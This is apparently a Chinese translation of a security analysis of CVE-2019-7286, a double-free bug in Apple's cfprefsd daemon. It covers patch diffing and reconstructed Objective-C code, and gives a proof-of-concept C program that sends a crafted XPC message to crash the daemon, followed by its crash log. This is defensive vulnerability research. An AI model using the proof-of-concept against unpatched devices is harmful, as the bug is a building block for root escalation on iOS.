macOS是全世界第一個基於FreeBSD系統採用“面向對象操作系統”的全面的操作系統,“面向對象操作系統”是史蒂夫·喬布斯(Steve Jobs)於1985年被迫離開蘋果後成立的NeXT公司所開發的。iOS是由蘋果公司開發的移動操作系統,iOS與蘋果的Mac OS X操作系統一樣,屬於類Unix的... ...
iOS 12.1.4是2019年2月8日發佈的iOS的最新版本。該版本修補了iOS上發現的四個漏洞。根據Project Zero的Ben Hawkes的推文,其中至少有兩個0day還是處於在野狀態……
- CVE-2019-7286在野外被開發利用
- 該漏洞似乎具有嚴重的嚴重性,並且可能在重新啟動後也可能用於維持持久性
- ZecOps能夠重現此漏洞(下麵的POC代碼)
- 該漏洞可用於將許可權升級為root,作為iOS 12.1.3上越獄鏈的一部分。
分析CVE-2019-7286
根據Apple的描述:
基礎
適用於:iPhone 5s及更高版本,iPad Air及更高版本以及iPod touch第6代
影響:應用程式可能獲得提升的許可權
說明:通過改進的輸入驗證解決了記憶體損壞問題。
CVE-2019-7286:匿名研究員,Google威脅分析組的Clement Lecigne,Google Project Zero的Ian Beer和Google Project Zero的SamuelGroß
除了在Apple的Foundation框架中修補漏洞這一事實外,該描述並未向我們提供有關漏洞性質的大量詳細信息。
在分析Foundation框架中的補丁後,二進位差異顯示iOS 12.1.4的二進位文件與iOS 12.1.3相比沒有顯著變化。下一個直接的嫌疑人是CoreFoundation,它顯示了Diaphora工具中的一些二進位差異,如下所示:
通過比較補丁,我們發現CFPrefs守護進程(cfprefsd)的實現有一些細微的變化。
此守護程式的手冊頁不太具描述性:
cfprefsd為CFPreferences和
NSUserDefaults API 提供首選項服務。手動
沒有cfprefsd的配置選項。
幾乎所有iOS / OS X上的軟體都會在啟動時使用CFPreferences選項,因此該守護程式中的漏洞可能對維護持久性也很有用。令人驚訝的是,目前還沒有關於此CVE的公開信息,正如人們所期望的那樣,這個漏洞在野外被積極利用。
補丁分析
OS X上也存在同樣的錯誤,這有助於ZecOps的調查和分析。在修補程式時,對cfprefsd引入了一些小的更改,但似乎最重要的修改是在以下函數中進行的:
[CFPrefsDaemon handleMultiMessage:replyHandler:]
下麵是一段ZecOps試圖重建原始的Obj-C代碼以及補丁(粗體):
1 @implementation CFPrefsDaemon 2 -(void)handleMultiMessage:(xpc_object_t)xpc_dict replyHandler:(Callback)replyHandler 3 { 4 // ... 5 CFPrefMessagesArr = xpc_dictionary_get_value(xpc_dict, "CFPreferencesMessages"); 6 // ... 7 xpc_array_count = xpc_array_get_count(CFPrefMessagesArr); 8 xpc_buffer = (__int64*)__CFAllocateObjectArray(xpc_array_count); 9 //... 10 for( counter = 0; xpc_array_count != counter; counter++) 11 { 12 xpc_buffer[counter] = xpc_array_get_value(CFPrefMessagesArr, counter); // This method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object. 13 } 14 for( counter = 0; xpc_array_count != loop_counter ; counter++) 15 { 16 xpc_element = xpc_buffer[counter]; 17 xpc_buffer[counter] = 0; //patch fix 18 if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary ) 19 { 20 [self handleMessage_fromPeer_replyHandler: xpc_element fromPeer: xpc_connection replyHandler:^{ 21 if (xpc_element) // patch fix 22 { 23 xpc_object_t result = xpc_retain(xpc_element); 24 xpc_buffer[counter] = result; 25 } 26 }]; 27 } 28 if ( !xpc_buffer[counter] ) //patch fix 29 xpc_buffer[counter] = xpc_null_create(); //patch fix 30 } 31 //... 32 array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count); 33 xpc_dictionary_set_value(dict_response, "CFPreferencesMessages", array_from_xpc_buffer); 34 xpc_release(array_from_xpc_buffer); 35 for( counter = 0; xpc_array_count != counter ; counter++) 36 { 37 current_element = xpc_buffer[counter]; 38 if (xpc_get_type(current_element) != &_xpc_type_null ) 39 xpc_release(current_element); // first free. Double free will occur when the array CFPrefMessagesArr will be released. 40 } 41 // ... 42 }
漏洞詳細信息
handleMultiMessage:replyHandler:使用“ CFPreferencesMessages ”數組引用計數問題,該數組是xpc請求的一部分。
該函數使用xpc_array_get_value逐個將數組的對象讀入記憶體緩衝區,這不會影響引用計數。釋放緩衝區中所有元素的函數的最後一部分假定xpc對象具有所有權。這通常是真實的,因為回調塊調用xpc_retain併在替換原來的對象xpc_buffer。但是,如果由於精心製作的消息而未調用回調(消息正文包含消息的處理程式索引。並非所有處理程式都調用回調),則會發生雙重釋放。
具有以下鍵和值的XPC將觸發此漏洞:
1 poc_dict = { 2 "CFPreferencesOperation" = 5, 3 "CFPreferencesMessages" = [ 4 { 5 "CFPreferencesOperation": 4 6 } 7 ] 8 }
如果回調沒有更新xpc_buffer [count], Apple的補丁用xpc_null替換了原始的XPC對象。因此,當xpc_null沒有要釋放的記憶體時,沒有雙重釋放條件。
漏洞複製
我們能夠使用下麵的POC代碼片段重現CVE-2019-7286:
1 #include <xpc/xpc.h>; 2 3 int main(int argc, const char * argv[]) { 4 5 xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); 6 xpc_connection_set_event_handler(conn, ^(xpc_object_t t) { 7 printf("got message: %sn", xpc_copy_description(t)); 8 }); 9 10 xpc_connection_resume(conn); 11 12 xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0); 13 xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5); 14 15 xpc_object_t arr = xpc_array_create(NULL, 0); 16 xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0); 17 xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 4); 18 19 xpc_array_append_value(arr, arr_elem1); 20 xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr); 21 xpc_connection_send_message(conn, hello); 22 xpc_release(hello); 23 return 0; 24 }
在iOS 12.0.1上運行上述程式導致cfprefsd崩潰:
Thread 6 name: Dispatch queue: Serving PID 7210 Thread 6 Crashed: 0 libobjc.A.dylib 0x21acd6b00 objc_object::release+ 16 1 libxpc.dylib 0x21b73bbc0 _xpc_array_dispose + 40 2 libxpc.dylib 0x21b73a584 _xpc_dispose + 156 3 libxpc.dylib 0x21b7449fc _xpc_dictionary_dispose + 204 4 libxpc.dylib 0x21b73a584 _xpc_dispose + 156 5 libxpc.dylib 0x21b742418 _xpc_connection_mach_event + 872 6 libdispatch.dylib 0x21b528544 _dispatch_client_callout4 + 16 7 libdispatch.dylib 0x21b4df068 _dispatch_mach_msg_invoke + 340 8 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284 9 libdispatch.dylib 0x21b4dfc3c _dispatch_mach_invoke + 476 10 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284 11 libdispatch.dylib 0x21b4d0760 _dispatch_lane_invoke + 432 12 libdispatch.dylib 0x21b4d8f00 _dispatch_workloop_worker_thread + 600 13 libsystem_pthread.dylib 0x21b70a0f0 _pthread_wqthread + 312 14 libsystem_pthread.dylib 0x21b70cd00 start_wqthread + 4
建議
- 更新到最新的OS X和iOS版本。
- 偶爾重啟iPhone / iPad(例如每天一次)以從脫離非持久性攻擊。